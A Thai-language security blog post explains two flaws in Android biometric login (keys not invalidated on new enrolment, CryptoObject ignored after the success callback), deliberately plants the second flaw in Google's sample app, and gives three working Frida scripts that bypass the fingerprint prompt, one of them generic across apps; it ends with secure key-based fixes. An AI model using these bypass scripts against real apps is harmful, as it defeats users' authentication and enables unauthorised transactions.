Biometric Authentication – Android

บทนำ (Overview)

หลายครั้งที่ผมได้มีโอกาสตรวจสอบการทำงานของแอปพลิเคชันที่มีฟังชันให้ผู้ใช้สามารถเข้าใช้แอปได้โดยการใช้ไม่ว่าจะเป็นลายนิ้วมือ หรือ ใบหน้า เป็นต้น (Biometric Authentication) ผลการทดสอบมักพบว่าแอปพลิเคชันเหล่านั้นมีการใช้ Biometric API ที่ไม่ปลอดภัย โดยเฉพาะแอปที่โดนทดสอบเป็นครั้งแรก ผมจะขอแบ่งเป็น 2 ประเด็นดังนี้

  1. แอปพลิเคชันไม่ตรวจสอบว่า Biometric Data (จริงๆไม่ใช่รูปลายนิ้วมือหรือใบหน้าแต่เป็นข้อมูลทางคณิตศาสตร์ที่ใช้แทนได้) ที่เครื่องเก็บไว้มันถูกเปลี่ยนแปลงไปโดยการเพิ่ม (enroll) ลายนิ้วมือ หรือ เพิ่มหน้าหลังจากที่ได้เปิดใช้ Biometric Authentication บนแอปไปแล้ว เรื่องนี้ดูผิวเผินอาจคิดว่าไม่น่าจะมีปัญหาด้านความปลอดภัยถ้านิ้วหรือหน้าที่ถูก enroll เข้าไปที่เครื่องเป็นของผู้ใช้งานมือถือเครื่องนั้นเพียงคนเดียว แต่เราไม่สามารถการันตีได้ว่าเป็นเช่นนั้นจริง บางครั้งอาจเป็นเพื่อน แฟน หรือคนใกล้ชิดที่เพิ่มนิ้วหรือหน้าของตัวเองบนโทรศัพท์ของเจ้าของเครื่องภายหลังได้ และมันจะกลายเป็นปัญหาถ้าแอปนั้นมีข้อมูลสำคัญหรืออนุญาตให้ทำธุรกรรมสำคัญโดยอาศัยเพียงว่าผู้ใช้แอปผ่าน Biometric Authentication ของเครื่องมาแล้วเพียงอย่างเดียว
  2. แอปพลิเคชันเรียกใช้งาน Biometric API ของแพลตฟอร์ม ทั้ง iOS หรือ Android อย่างไม่ปลอดภัย ประเด็นนี้เปิดโอกาสให้เกิดการโจมตีโดยอาศัยเครื่องมือพิเศษที่สามารถแก้ไขการทำงานของแอปแล้วบังคับให้ทำงานผิดไปจากที่ผู้พัฒนาได้เขียนเอาไว้ เช่น ใช้นิ้วไม่ถูกต้องในการแสกนกับ sensor แต่แอปโดนแก้ไขการทำงานให้เข้าใจว่าการแสกนนั้นได้ผลถูกต้อง (ภาษาเพนเทสเตอร์เค้าพูดกันว่าใช้ฟรีด้าฮุก (Frida)) โดยเฉพาะบางกรณีที่เกิดขึ้นกับบางแอปบนแพลตฟอร์ม Android ผู้โจมตีสามารถ bypass การใช้ biometric authentication ได้โดยสิ้นเชิง (มองไม่เห็นแม้กระทั้ง Prompt ของ Biometric Authentication)

ทั้งสองประเด็นนี้แก้ไขไม่ยากโดยเราจะดูไปทีละประเด็น ….

บทความโดย
Mr.Juttikhun Jirathanan
Cyber Security Researcher

ตัวอย่างพฤติกรรมของแอปที่มีช่องโหว่ที่ 1

ตัวแอปที่ใช้ในครั้งนี้จะเป็นแอปตัวอย่างของ Android ชื่อ Biometric Authentication เมื่อ build และ install เรียบร้อยแล้วแอปมีหน้าตาตามรูปภาพข้างล่าง สามารถดาวน์โหลดได้ที่

https://github.com/android/security-samples/tree/main/BiometricAuthentication

แอปมีสองปุ่มให้เลือกกดโดยทั้งสองปุ่มจะให้ผู้ใช้ใช้ Biometric Authentication ในการทำรายการเหมือนกัน และมีปุ่ม 3 จุดเพื่อเข้าหน้า “Setting” เพื่อไป ปิด/เปิด การใช้งาน Biometric Authentication ของแอป

ปุ่ม “PURCHASE” และ “PURCHASE NOT INVALIDATE” แตกต่างกันที่ปุ่ม “PURCHASE” จะถูกตั้งค่าเอาไว้ว่าเมื่อเปิดใช้งาน Biometric Authentication ในแอปแล้วมีการเพิ่มนิ้วหรือหน้าเข้าไปบนเครื่อง (enroll fingerprint/face) ​ในภายหลัง ปุ่ม “PURCHASE” จะไม่สามารถใช้งาน Biometric Authentication ในการทำรายการได้อีกจนกว่าจะไปกด re-enable การใช้ Biometric Authentication ในเมนู “Setting” ของแอปอีกรอบ การทำงานของแอปที่ปลอดภัยควรเป็นแบบปุ่ม “PURCHASE” ส่วนปุ่ม “PURCHASE NOT INVALIDATE” นั้นถึงมีการเพิ่มนิ้ว/หน้าเข้าไปที่เครื่องก็ยังสามารถใช้งานได้ ลักษณะแบบนี้ผมมองว่าอาจมีความเสี่ยงและเป็นประเด็นที่ควรแก้ไขสำหรับแอปที่ใช้ Biometric Authentication เพื่อพิสูจน์ตัวตนผู้ใช้งาน (จริง ๆ จะบอกว่าต้องทำแบบปุ่ม PURCHASE ทั้งหมดทุกแอปก็ไม่ถูกนัก เพราะมันแล้วแต่การออกแบบ use case ของแอป)

มาดูที่โค้ดในไฟล์ MainActivity.kt ของแอปว่าเขียนอย่างไรเพื่อตรวจจับการเพิ่มนิ้ว/หน้าไปบนเครื่อง

    /**
     * Creates a symmetric key in the Android Key Store which can only be used after the user has
     * authenticated with a fingerprint.
     *
     * @param keyName the name of the key to be created
     * @param invalidatedByBiometricEnrollment if `false` is passed, the created key will not be
     * invalidated even if a new fingerprint is enrolled. The default value is `true` - the key will
     * be invalidated if a new fingerprint is enrolled.
     */
    override fun createKey(keyName: String, invalidatedByBiometricEnrollment: Boolean) {
        // The enrolling flow for fingerprint. This is where you ask the user to set up fingerprint
        // for your flow. Use of keys is necessary if you need to know if the set of enrolled
        // fingerprints has changed.
        try {
            keyStore.load(null)

            val keyProperties = KeyProperties.PURPOSE_ENCRYPT or KeyProperties.PURPOSE_DECRYPT
            val builder = KeyGenParameterSpec.Builder(keyName, keyProperties)
                    .setBlockModes(BLOCK_MODE_CBC)
                    .setUserAuthenticationRequired(true)  // บรรทัดนี้
                    .setEncryptionPaddings(ENCRYPTION_PADDING_PKCS7)
                    .setInvalidatedByBiometricEnrollment(invalidatedByBiometricEnrollment) // บรรทัดนี้

            keyGenerator.run {
                init(builder.build())
                generateKey()
            }
        } catch (e: Exception) {
            when (e) {
                is NoSuchAlgorithmException,
                is InvalidAlgorithmParameterException,
                is CertificateException,
                is IOException -> throw RuntimeException(e)
                else -> throw e
            }
        }
    }

จริงๆแล้วตัวแอปไม่ได้ตรวจอะไรเพิ่มแต่สิ่งที่ทำมาตั้งแต่แรกคือการสร้าง encryption key เพื่อเอาไว้เข้ารหัสข้อมูลส่งไปที่ server เมื่อมีการใช้นิ้วที่ถูกต้อง โดย encryption key ที่สร้างนั้นถูกสร้างโดยใช้ 2 flag ที่สำคัญคือ

  • .setUserAuthenticationRequired(true) เป็นการบ่งบอกว่าต้องใช้นิ้วหรือหน้าที่ถูกต้องถึงจะเข้าถึง key นี้ได้
  • .setInvalidatedByBiometricEnrollment(true) เป็นการบ่งบอกว่าเมื่อมีการเพิ่มนิ้ว/หน้าใหม่ลงบนเครื่องตัว encryption key ก็จะถูก invalidate ไปโดยอัตโนมัติ ทำให้แอปไม่สามารถใช้งาน encryption key ได้

เมื่อ invalidate encryption key ไปแล้ว ควรเป็นอย่างไรต่อ​ ?

แน่นอนว่าเมื่อ key ถูก invalidate ไปแล้วแอปจะไม่สามารถใช้ encryption key ในการเข้าหรือถอดรหัสข้อมูลใดๆที่ใช้ authenticate กับ server ได้ พอเป็นอย่างนี้แล้วแอปอาจเลือกที่จะ fall back กลับไปถามรหัสผ่านหรือพินกับผู้ใช้ เมื่อผู้ใช้กรอกรหัสหรือพินที่ถูกต้องผู้ใช้จะต้องเข้าไปหน้า setting เพื่อเปิดการใช้งาน (re-enable) การใช้ Biometric Authentication อีกครั้ง นี่จะเป็นการบอกผู้ใช้ไปในตัวว่ามีการเพิ่มนิ้ว/หน้าเข้ามาที่เครื่อง เพื่อให้ผู้ใช้ตระหนักว่าการ re-enable Biometric Authentication ขึ้นมาใหม่จะทำให้เจ้าของลายนิ้วมือ/หน้าใหม่ที่เพิ่ง enroll เข้ามาบนเครื่องนั้นใช้งานแอปได้

ตัวอย่างพฤติกรรมของแอปที่มีช่องโหว่ที่ 2

ในตัวอย่างนี้เราจะใช้แอปเดียวกันกับช่องโหว่แรกมาทดสอบแต่จำเป็นต้องแก้ไขโค้ด 1 บรรทัดเพื่อทำให้แอปมีช่องโหว่ โดยโค้ดที่จะถูกแก้อยู่ที่ MainActivity.kt เมธอดชื่อ onPurchased:

/**
 * Proceed with the purchase operation
 *
 * @param withBiometrics `true` if the purchase was made by using a fingerprint
 * @param crypto the Crypto object
 */
override fun onPurchased(withBiometrics: Boolean, crypto: BiometricPrompt.CryptoObject?) {
    if (withBiometrics) {
        // If the user authenticated with fingerprint, verify using cryptography and then show
        // the confirmation message.
        // crypto?.cipher?.let { tryEncrypt(it) } // Original and good

        showConfirmation(SECRET_MESSAGE.toByteArray()) // Modified to be bad, because it does not use CryptoObject

    } else {
        // Authentication happened with backup password. Just show the confirmation message.
        showConfirmation()
    }
}

โค้ดเดิมๆ เป็นการเข้ารหัสข้อมูลบางอย่างโดยใช้ encryption key ที่เก็บไว้ก่อนที่จะจำลองว่าส่งข้อมูลที่เข้ารหัสแล้วไปที่ server และแสดงข้อความให้ผู้ใช้เห็นว่าการพิสูจน์ตัวตนสำเร็จแล้ว

crypto?.cipher?.let { tryEncrypt(it) } 

โค้ดส่วนนี้ถูกแก้ให้ไม่ได้มีการนำ encryption key ไปใช้แต่อย่างใด แต่อาศัยผลจาก Biometric Authentication API ของ platform ว่ามีการ return อ๊อปเจ๊ค AuthenticationResultโดยข้างในมี CryptoObject กลับมาและเข้าใจว่าผู้ใช้ผ่านการทำ Biometric Authentication แล้ว

showConfirmation(SECRET_MESSAGE.toByteArray()) 

เราทำการแก้ไขโค้ดเพื่อให้แอปไม่นำ CryptoObject ที่ได้จาก call back ไปใช้ ซึ่งเป็นลักษณะของแอปที่พบว่ามีช่องโหว่บ่อย ๆ

เมื่อแก้โค้ดแล้วทำการ build จากนั้นก็ install ลงบนเครื่อง แล้วเราจะมาดูการทำงานของ Biometric Authentication บน Android กันว่ามันทำงานอย่างไรที่ทำให้แอปอาจมีช่องโหว่หากมีการนำมาใช้งาน (Implement) ที่ไม่ดี ก่อนอื่นต้องเข้าใจก่อนว่าปัจจุบันเราใช้คลาส androidx.biometric.BiometricPrompt ในการทำ Biometric Authentication โดยมีขั้นตอนแบบรวบรัดดังนี้

  1. สร้าง KeyStore เอาไว้เก็บ encryption key
// file: MainActivity.kt
private fun setupKeyStoreAndKeyGenerator() {
    try {
        keyStore = KeyStore.getInstance(ANDROID_KEY_STORE)
    } catch (e: KeyStoreException) {
        throw RuntimeException("Failed to get an instance of KeyStore", e)
    }

    try {
        keyGenerator = KeyGenerator.getInstance(KEY_ALGORITHM_AES, ANDROID_KEY_STORE)
    } catch (e: Exception) {
        when (e) {
            is NoSuchAlgorithmException,
            is NoSuchProviderException ->
                throw RuntimeException("Failed to get an instance of KeyGenerator", e)
            else -> throw e
        }
    }
}

2. สร้าง instance ของคลาส Cipher โดยใช้เมธอด Cipher.getInstance() และระบุข้อมูล encryption algorithm, encryption mode, padding type ให้กับ instance

// file: MainActivity.kt
private fun setupCiphers(): Pair<Cipher, Cipher> {
    val defaultCipher: Cipher
    val cipherNotInvalidated: Cipher
    try {
        val cipherString = "$KEY_ALGORITHM_AES/$BLOCK_MODE_CBC/$ENCRYPTION_PADDING_PKCS7"
        defaultCipher = Cipher.getInstance(cipherString)
        cipherNotInvalidated = Cipher.getInstance(cipherString)
    } catch (e: Exception) {
        when (e) {
            is NoSuchAlgorithmException,
            is NoSuchPaddingException ->
                throw RuntimeException("Failed to get an instance of Cipher", e)
            else -> throw e
        }
    }
    return Pair(defaultCipher, cipherNotInvalidated)
}

3. สร้าง Key โดยใช้ flag ต่อไปนี้ เพื่อ initCipher() ด้วย key ที่ได้ (initCipher() จะถูกเรียกต่อไปใน PurchaseButtonClickListener)

.setUserAuthenticationRequired(true)
.setInvalidatedByBiometricEnrollment(true)
// file: MainActivity.kt
override fun createKey(keyName: String, invalidatedByBiometricEnrollment: Boolean) {
    // The enrolling flow for fingerprint. This is where you ask the user to set up fingerprint
    // for your flow. Use of keys is necessary if you need to know if the set of enrolled
    // fingerprints has changed.
    try {
        keyStore.load(null)

        val keyProperties = KeyProperties.PURPOSE_ENCRYPT or KeyProperties.PURPOSE_DECRYPT
        val builder = KeyGenParameterSpec.Builder(keyName, keyProperties)
                .setBlockModes(BLOCK_MODE_CBC)
                .setUserAuthenticationRequired(true)
                .setEncryptionPaddings(ENCRYPTION_PADDING_PKCS7)
                .setInvalidatedByBiometricEnrollment(invalidatedByBiometricEnrollment)

        keyGenerator.run {
            init(builder.build())
            generateKey()
        }
    } catch (e: Exception) {
        when (e) {
            is NoSuchAlgorithmException,
            is InvalidAlgorithmParameterException,
            is CertificateException,
            is IOException -> throw RuntimeException(e)
            else -> throw e
        }
    }
}

4. สร้างอ๊อปเจ็คของคลาส BiometricPrompt ชื่อ biometricPrompt และสร้าง container เอาไว้สำหรับรอการ call back กลับมาเมื่อมีการทำ Biometric Authentication โดยเมธอดต่อไปนี้จะถูกเรียกเมื่อผู้ใช้ทำ Biometric Authentication เสร็จ 1 ครั้ง (หมายถึงลองสแกนนิ้ว / หน้า 1 ครั้ง) โดย call back จะเรียกไปที่เมธอดต่อไปนี้

5. onAuthenticationError(errorCode: Int, errString: CharSequence) เมื่อเกิด error

onAuthenticationFailed() เมื่อนิ้วหรือหน้าไม่ตรงกับข้อมูลที่เก็บเอาไว้

6. onAuthenticationSucceeded(result: BiometricPrompt.AuthenticationResult) เมื่อนิ้วหรือหน้าถูกต้อง

// file: MainActivity.kt
private fun createBiometricPrompt(): BiometricPrompt {
    val executor = ContextCompat.getMainExecutor(this)

    val callback = object : BiometricPrompt.AuthenticationCallback() {
        override fun onAuthenticationError(errorCode: Int, errString: CharSequence) {
            super.onAuthenticationError(errorCode, errString)
            Log.d(TAG, "$errorCode :: $errString")
            if (errorCode == BiometricPrompt.ERROR_NEGATIVE_BUTTON) {
                loginWithPassword() // Because negative button says use application password
            }
        }

        override fun onAuthenticationFailed() {
            super.onAuthenticationFailed()
            Log.d(TAG, "Authentication failed for an unknown reason")
        }

        override fun onAuthenticationSucceeded(result: BiometricPrompt.AuthenticationResult) {
            super.onAuthenticationSucceeded(result)
            Log.d(TAG, "Authentication was successful")
            onPurchased(true, result.cryptoObject)
        }
    }

    val biometricPrompt = BiometricPrompt(this, executor, callback)
    return biometricPrompt
}

7. สั่งให้ทำ Biometric Authentication โดยการเรียกเมธอดbiometricPrompt.authenticate(promptInfo, BiometricPrompt.CryptoObject(cipher)) สิ่งที่ส่งไปเป็น parameter คือ

  • BiometricPrompt.PromptInfoเป็นคุณสมบัติของ prompt
  • BiometricPrompt.CryptoObject(cipher))เป็น instance ของคลาส Cipher ที่ทำไว้ก่อนหน้านี้
// file: MainActivity.kt
private inner class PurchaseButtonClickListener internal constructor(
        internal var cipher: Cipher,
        internal var keyName: String
) : View.OnClickListener {

    override fun onClick(view: View) {
        findViewById<View>(R.id.confirmation_message).visibility = View.GONE
        findViewById<View>(R.id.encrypted_message).visibility = View.GONE

        val promptInfo = createPromptInfo()

        if (initCipher(cipher, keyName)) {
            biometricPrompt.authenticate(promptInfo, BiometricPrompt.CryptoObject(cipher))
        } else {
            loginWithPassword()
        }
    }
}

เมื่อผู้ใช้ทำ biometric authentication โดยใช้นิ้วที่ถูกต้อง สังเกตว่า call back จะเรียกเมธอดonAuthenticationSucceeded() โดยจะส่งอ๊อปเจ็ค BiometricPrompt.AuthenticationResult มาให้ซึ่งข้างในมี CryptoObject ที่มี encryption key พร้อมใช้งาน จุดนี้เป็นจุดหลายแอปพลิเคชันทำได้ไม่สมบูรณ์คือได้ CryptoObject มาแล้วไม่เอาไปใช้ต่อ แต่ถือว่าผู้ใช้ได้ทำ authentication เสร็จแล้ว จากนั้นก็ไปเรียกเมธอดอื่นต่อเลย อย่างกรณีของโค้ดตัวอย่างที่ถูกแก้ไขให้มีช่องโหว่จะเห็นว่าไม่ได้เอา CryptoObject ไปใช้ต่อ แต่กลับสั่งให้แสดงผลว่าพิสูจน์ตัวตนสำเร็จแล้วโดยการเรียก showConfirmation(SECRET_MESSAGE.toByteArray()) ทันที การโจมตีแอปที่มีช่องโหว่ลักษณะนี้เราจะใช้ Frida เพื่อ hook เข้าไปที่บางเมธอดเพื่อส่ง CryptoObject ปลอมๆกลับไปที่ onAuthenticationSucceeded()ทันทีเมื่อใช้นิ้วที่ไม่ถูกต้องในการทำ biometric authentication

ตัวอย่าง Frida Script ที่สามารถใช้ bypass biometric authentication ของแอปที่ถูกแก้ไขแล้วนี้ได้

function bypass_biometric_1() {
	var methodx = Java.use("com.example.android.biometricauth.MainActivity$createBiometricPrompt$callback$1")['onAuthenticationFailed'];
	methodx.implementation = function(args) {
		console.log("[!] onAuthFailed is called ");
		var null_cipher = null;
		var cryptoObject = null;
		var cryptoInstance = null;
		var authenticationResultObj = null;
		var authenticationResultInst = null;

		try {
			cryptoObject = Java.use('androidx.biometric.BiometricPrompt$CryptoObject');
			authenticationResultObj = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult');

		} catch (error) {
			console.log("\t[-] Error 3");
			console.log("\t" + error);
		}

		cryptoInstance = cryptoObject.$new(null_cipher);
		var authenticationResultInst = authenticationResultObj.$new(cryptoInstance)
		console.log("\t[-]cryptoInst:, " + cryptoInstance + " class: " + cryptoInstance.$className);
		console.log("\t[-]authenticationResultInst:, " + authenticationResultInst + " class: " + authenticationResultInst.$className);
		this.onAuthenticationSucceeded(authenticationResultInst);
	};
}

function bypass_biometric_2() {
	var biometricPrompt = Java.use('androidx.biometric.BiometricPrompt$AuthenticationCallback')['onAuthenticationFailed'];
	console.log("[!] Hooking BiometricPrompt.AuthenticationCallback.onAuthenticationFailed()...");
	biometricPrompt.implementation = function(args) {
		var null_cipher = null;
		var cryptoObject = null;
		var cryptoInstance = null;
		var authenticationResultObj = null;
		var authenticationResultInst = null;

		try {
			cryptoObject = Java.use('androidx.biometric.BiometricPrompt$CryptoObject');
			authenticationResultObj = Java.use('androidx.biometric.BiometricPrompt$AuthenticationResult');

		} catch (error) {
			console.log("\t[-] Error 3");
			console.log("\t" + error);
		}

		cryptoInstance = cryptoObject.$new(null_cipher);
		var authenticationResultInst = authenticationResultObj.$new(cryptoInstance)
		console.log("\t[-]cryptoInst:, " + cryptoInstance + " class: " + cryptoInstance.$className);
		console.log("\t[-]authenticationResultInst:, " + authenticationResultInst + " class: " + authenticationResultInst.$className);
		this.onAuthenticationSucceeded(authenticationResultInst);
	}
}

Java.perform(function() {
	bypass_biometric_1();
  // bypass_biometric_2(); 
});

bypass_biometric_1() ใช้ Frida hook ไปที่เมธอดMainActivity => createBiometricPrompt() => callback => onAuthenticationFailed() ว่าถ้ามีการ callback มาที่เมธอด onAuthenticationFailed() เราจะสั่งให้ call back ไปเรียก onAuthenticationSucceeded() แทน

ตามไปดูในโค้ด MainActivity.kt:

private fun createBiometricPrompt(): BiometricPrompt {
    val executor = ContextCompat.getMainExecutor(this)

    val callback = object : BiometricPrompt.AuthenticationCallback() {
        override fun onAuthenticationError(errorCode: Int, errString: CharSequence) {
            super.onAuthenticationError(errorCode, errString)
            Log.d(TAG, "$errorCode :: $errString")
            if (errorCode == BiometricPrompt.ERROR_NEGATIVE_BUTTON) {
                loginWithPassword() // Because negative button says use application password
            }
        }

        override fun onAuthenticationFailed() { // Frida hook ที่นี่
            super.onAuthenticationFailed()
            Log.d(TAG, "Authentication failed for an unknown reason")
        }

        override fun onAuthenticationSucceeded(result: BiometricPrompt.AuthenticationResult) {
            super.onAuthenticationSucceeded(result)
            Log.d(TAG, "Authentication was successful")
            onPurchased(true, result.cryptoObject)
        }
    }

    val biometricPrompt = BiometricPrompt(this, executor, callback)
    return biometricPrompt
}

bypass_biometric_2() คือใช้ Frida hook ในทำนองเดียวกันกับ bypass_biometric_1() แต่จะ hook ไปในระดับที่ลึกลงไปอีกนิดนึงคือที่ androidx.biometric.BiometricPrompt$AuthenticationCallback => onAuthenticationFailed() เป็นระดับ Android API ที่ทำเราสามารถใช้ Frida script เดียวกันนี้กับแอปอื่นๆได้โดยไม่ต้องแก้ไขชื่อ class/method ที่จะ hook

ส่วน bypass_biometric_3() เป็นการ hook เข้าไปก่อนที่จะแสดงผล Biometric Prompt ทำให้เรามองไม่เห็น Prompt ที่ให้เราสแกนนิ้ว / หน้า แต่ผ่านการ authentication ไปเลย

function bypass_biometric_3() {
	var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.hardware.biometrics.BiometricPrompt$CryptoObject', 'android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
	console.log("[!] Hooking BiometricPrompt.authenticate()...");
	biometricPrompt.implementation = function(arg1, arg2, arg3, callback) {
		var null_cipher = null;
		var cryptoObject = null;
		var cryptoInstance = null;
		var authenticationResultObj = null;
		var authenticationResultInst = null;

		try {
			cryptoObject = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
			authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');

		} catch (error) {
			console.log("\t[-] Error");
			console.log("\t" + error);
		}

		cryptoInstance = cryptoObject.$new(null_cipher);
		var authenticationResultInst = authenticationResultObj.$new(cryptoInstance)
		console.log("\t[-]cryptoInst:, " + cryptoInstance + " class: " + cryptoInstance.$className);
		console.log("\t[-]authenticationResultInst:, " + authenticationResultInst + " class: " + authenticationResultInst.$className);
		callback.onAuthenticationSucceeded(authenticationResultInst);
	}
}

// Main
Java.perform(function() {
	bypass_biometric_3();
});

Video ตัวอย่างการใช้ Frida เพื่อ bypass biometric authentication

แก้ไขอย่างไร

การแก้ไขต้องกลับไปดูตั้งแต่การออกแบบแอป เพราะว่าเราต้องไม่ลืมนำเอา CryptoObject มาใช้งาน ผมยกตัวอย่างแนวทางการใช้งาน CryptoObject 2 แนวทางสำหรับการทำ authentication เช่น login page ตอนเข้าแอป

  1. แบบ Symmetric Key (remote authentication)
    1. สร้าง Key สำหรับ encryption/decryption เป็น symmetric key โดยผูกกับ biometric authentication ด้วย flag
      1. .setUserAuthenticationRequired(true)
      2. .setInvalidatedByBiometricEnrollment(true)
    2. สร้าง instance ของ Cipher สำหรับ encryption และใช้ Cipher นั้นสำหรับการ enable biometric authentication เมื่อผู้ใช้ log in ด้วยรหัสผ่านหรือพินเข้ามาตั้งค่า biometric authentication ในแอป
      1. server ส่ง token สำหรับใช้เฉพาะ biometric authentication กลับมาเก็บไว้ที่แอป
      2. แอปแสดง biometric authentication prompt เพื่อให้ผู้ใช้นิ้ว/หน้าที่ถูกต้องปลดล็อค key ใน KeyStore
      3. แอปใช้ CryptoObject ที่ได้จาก callback ในการเข้ารหัส token ที่ได้มาจาก server เก็บไว้บนเครื่อง
    3. เมื่อผู้ใช้เปิดแอปครั้งใหม่ และใช้ biometric authentication
      1. แอปสร้าง instance ของ Cipher สำหรับ decryption และใช้ Cipher นั้นสำหรับการผูกกับ BiometricPrompt
      2. แอปแสดง biometric authentication prompt เพื่อให้ผู้ใช้นิ้ว/หน้าที่ถูกต้องปลดล็อค key ใน KeyStore
      3. แอปใช้ CryptoObject ที่ได้จาก callback ในการถอดรหัส token ที่เข้ารหัสไว้ แล้วส่ง token นั้นไปที่ server เพื่อ authenticate ร่วมกับ factor อื่นแล้วแต่ออกแบบ
      4. Setup authenticated session
    4. เมื่อเกิดการ invalidate key เช่น log in ด้วย biometric ไม่ผ่านหลายครั้งหรือมีการเพิ่มนิ้ว/หน้าใหม่ลงบนเครื่อง
      1. แอปควรรองรับการ fall back กลับไปใช้รหัสผ่านหรือพินในการเข้าใช้งาน
      2. เมื่อเข้าใช้งานได้แล้วให้ผู้ใช้ไป re-enable biometric authentication ใหม่ (เริ่มใหม่หมดตั้งแต่ขั้นตอนที่ 1 การสร้าง key) เพราะ key ถูก invalidate ไปใช้งานไม่ได้แล้ว
    สำหรับท่านี้มีตัวอย่างแอปที่ใช้ศึกษาเป็นแนวทางได้คือ https://github.com/android/security-samples/tree/main/BiometricLoginKotlin ตัวอย่าง Flowchart แบบคร่าวของการ enable biometric authentication บนแอปอย่างปลอดภัย

ตัวอย่าง Flowchart แบบคร่าวของการ login ด้วย biometric authentication บนแอปอย่างปลอดภัย

  1. แบบ Asymmetric Key (remote authentication) ทำลักษณะเดียวกันกับ Symmetric Key (remote authentication) ข้างต้น แต่ key ที่สร้างขึ้นมานั้นเป็น public/private key และใช้ digital signature แทนการ encrypt/decrypt
    1. สร้าง asymmetric key pair ขึ้นมา 1 คู่สำหรับ KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY โดยผูกกับ biometric authentication ด้วย flag
      1. .setUserAuthenticationRequired(true)
      2. .setInvalidatedByBiometricEnrollment(true)
    2. public key เรายังเข้าถึงได้โดยไม่ต้องใช้ biormetric ของผู้ใช้ ให้ส่ง public key ไปเก็บไว้ที่ server
    3. เมื่อผู้ใช้ log in ด้วยรหัสผ่านหรือพินเข้ามาตั้งค่า biometric authentication ในแอป
      1. server ส่ง token กลับมาเก็บไว้ที่แอป
    4. เมื่อผู้ใช้เปิดแอปครั้งใหม่ และใช้ biometric authentication
      1. แอปสร้าง instance ของ Signature สำหรับ sign และใช้ instance นั้นสำหรับการผูกกับ BiometricPrompt
      2. แอปแสดง biometric authentication prompt เพื่อให้ผู้ใช้นิ้ว/หน้าที่ถูกต้องปลดล็อค key ใน KeyStore
      3. แอปใช้ CryptoObject ที่ได้จาก callback ในการ sign ตัว token ที่เก็บไว้ส่งไปให้ server
      4. Server verify token และ signature ที่ได้จากการ sign ว่าถูกต้อง
      5. Setup authenticated session
    5. เมื่อเกิดการ invalidate key เช่น log in ด้วย biometric ไม่ผ่านหลายครั้งหรือมีการเพิ่มนิ้ว/หน้าใหม่ลงบนเครื่อง
      1. แอปควรรองรับการ fall back กลับไปใช้รหัสผ่านหรือพินในการเข้าใช้งาน
      2. เมื่อเข้าใช้งานได้แล้วให้ผู้ใช้ไป re-enable biometric authentication ใหม่ (เริ่มใหม่หมดตั้งแต่ขั้นตอนที่ 1 การสร้าง key) เพราะ key ถูก invalidate ไปใช้งานไม่ได้แล้ว
    สำหรับท่านี้มีตัวอย่างแอปที่ใช้ศึกษาเป็นแนวทางได้คือ https://github.com/googlearchive/android-AsymmetricFingerprintDialog (บทความเก่าแล้วแต่ใช้หลักการเดียวกันได้)

Reference: